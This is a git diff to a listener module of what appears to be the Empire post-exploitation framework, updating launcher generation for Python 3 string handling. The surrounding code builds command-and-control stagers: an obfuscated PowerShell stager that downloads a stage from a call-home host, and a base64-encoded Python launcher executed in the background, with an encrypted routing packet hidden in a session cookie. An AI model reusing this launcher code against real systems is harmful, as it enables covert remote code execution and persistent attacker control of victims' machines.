diff --git a/lib/listeners/http_foreign.py b/lib/listeners/http_foreign.py
index ae6c76d74..a31a4ac01 100755
--- a/lib/listeners/http_foreign.py
+++ b/lib/listeners/http_foreign.py
@@ -232,7 +232,7 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="",
 
                 # add the RC4 packet to a cookie
                 stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+".Headers.Add(")
-                stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket)
+                stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket.decode('UTF-8'))
 
                 stager += "$ser=" + helpers.obfuscate_call_home_address(host) + ";$t='" + stage0 + "';"
                 stager += helpers.randomize_capitalization("$data=$"+helpers.generate_random_script_var_name("wc")+".DownloadData($ser+$t);")
@@ -281,7 +281,7 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="",
 
                 # prebuild the request routing packet for the launcher
                 routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='')
-                b64RoutingPacket = base64.b64encode(routingPacket)
+                b64RoutingPacket = base64.b64encode(routingPacket).decode('UTF-8')
 
                 # add the RC4 packet to a cookie
                 launcherBase += "o.addheaders=[('User-Agent',UA), (\"Cookie\", \"session=%s\")];\n" % (b64RoutingPacket)
@@ -330,7 +330,9 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="",
                 launcherBase += "exec(''.join(out))"
 
                 if encode:
-                    launchEncoded = base64.b64encode(launcherBase)
+                    launchEncoded = base64.b64encode(launcherBase.encode('UTF-8')).decode('UTF-8')
+                    if isinstance(launchEncoded, bytes):
+                        launchEncoded = launchEncoded.decode('UTF-8')
                     launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python3 &" % (launchEncoded)
                     return launcher
                 else: